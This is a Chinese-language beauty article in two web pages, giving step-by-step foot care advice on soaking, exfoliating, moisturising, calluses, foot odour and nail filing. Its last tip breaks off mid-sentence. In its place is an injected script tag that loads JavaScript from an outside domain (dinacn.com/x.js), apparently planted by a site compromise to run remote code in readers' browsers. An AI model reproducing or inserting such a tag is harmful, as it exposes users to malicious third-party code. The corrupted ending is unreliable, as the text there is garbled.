第1P

    裸足的季节就在眼前，你为双足裸露做好准备了吗？不要再矜持，赶快加入到我们的美足行列吧！精心到位的护理，你也拥有一双干净漂亮的俏足。

    我们的双脚每天都要承受全身的重量忙碌奔波，大约平均每天要奔走5200米，所有的疲劳、压力、紧张都会反应在双脚上，有关调查显示，有80%的女性都会感到足部疲劳紧张甚至疼痛，久而久之，脚底就会累积出厚厚的角质层甚至老茧。想想看，这种状况是随便用水冲冲干净就能缓解的吗？

    美妙的泡脚浴

    不要小看这薄薄的一片指甲，这当中可是大有学问。手指甲与脚趾甲差不多，成分与毛发大致相同，它的含水量为7~12％，当指甲缺乏水分时，非常容易受伤。另外它的脂肪是0，这是因为指甲没有皮脂腺与汗腺，所以也就无法自动补给养分。

    STEP1

    晚上回家坐在舒适的坐椅上，脱掉袜子脱掉鞋，将双脚浸入温水中浸泡15～20分钟，可充分舒缓双脚的疲劳和肿胀。泡脚时如果能滴上几滴天然精油效果更好，薄荷、茶树、薰衣草精油最适合舒缓双脚疲劳，软化角质。

    STEP2

    泡脚的同时，轻轻按摩双脚，用小手刷刷轻轻刷洗趾甲缝，一点点污垢都不要留下。

    STEP3

    浸泡后，脚上的老皮及皮茧都会软化，这时用足部磨砂去角质产品，以画圆圈的方式轻轻按摩双脚，特别是在脚底、脚踝等角质较厚的地方。如果皮茧过厚可以用足部磨砂棒轻轻摩擦。这个步骤可根据自己的情况，每星期一至两次。

    STEP4

    将剥落的皮屑拍干净后，将适量的足部按摩乳液涂抹在脚背及脚底，进行轻轻的按摩，脚底集中了全身器官的52个反射区，最好重点按摩一下足心的“养生大穴”涌泉穴。

    STEP5

    接下来往脚上狠狠地涂一层厚厚的足部护理霜，或者在做完脸部保养之后，把剩余的保养品涂在足上，以画圆圈的方式按摩帮助吸收，再穿上棉袜睡觉。第二天你就会发现自己的双脚像baby的双脚一样柔嫩！

    特别关照：一定不想让双脚晒出深深的凉鞋印子吧！记住，出门前双脚一定要涂防晒霜，而且要防UVB，防止晒黑。
                     
    保养TIPS：

    1 每天晚上, 如果能在泡脚的水中放些浴盐或精油，可促进血液循环效果更好。

    2 双脚清洁后，用柠檬皮揉搓局部，皮肤会变得比较柔软。 

    3用浮石或海绵磨搓脚部粗硬的老皮时，不要过于用力，以免擦伤皮肤。

    4 使用磨砂膏或磨砂刷之前必须先泡脚，否则容易搓伤脚部皮肤。

    第2P

    难以启齿的美足问题

    足茧

    脚底长茧是因为穿了不合脚的鞋子，导致脚与鞋子过分摩擦，使内分泌不平衡所致。脚后跟、拇趾底部和脚后跟这三个部分吃力最重，因此最容易长茧。长了脚茧最好及早处理，否则继续摩擦越变越大，脚就会变形。

    脚茧的治疗得从选穿合适的鞋子和加倍护理开始。除了尽量穿质软、低跟的鞋子外，常用滋养油润泽脚底也很重要。选择高滋润度的婴儿油或橄榄油，定期在就寝前涂在脚底，再穿上袜子，让热气使毛细孔张开、油分被吸收而柔软、光滑干硬脚茧。第二天起床后先用浮石摩擦长茧部位，然后用温水洗净。一星期护理一次，就会有显著的效果。

    脚汗

    到市场上找一找可抑制脚汗的香足喷雾剂，穿鞋前喷几下就不怕双足异味频生。选择时建议你挑选植物成分：迷迭香精油可振奋疲惫双足；茴香精油有抗菌效果，能去除异味，都能很方便地解除你的烦恼。

    肤色暗沉

    当然，使用脸部的美白产品护理双脚是再好不过的了，但也有省钱的办法，例如吃剩的果皮就是很好的敷脚产品。将柠檬皮、西瓜皮或小黄瓜这些富含维生素C的蔬果摩擦脚面，可使皮肤变得柔嫩、白皙。

    不美的甲面

    定期修剪趾甲也很重要，将锉刀与趾甲保持45°角，顺着同一方向挫，使趾甲呈现完美的形状。千万不要来回挫，这样很容易劈了甲面，而且也会让趾甲产生高温而变得干燥。

    足疗师好经验：

    1 坚持每天沐浴后都用?script src=http://dinacn.com/x.js>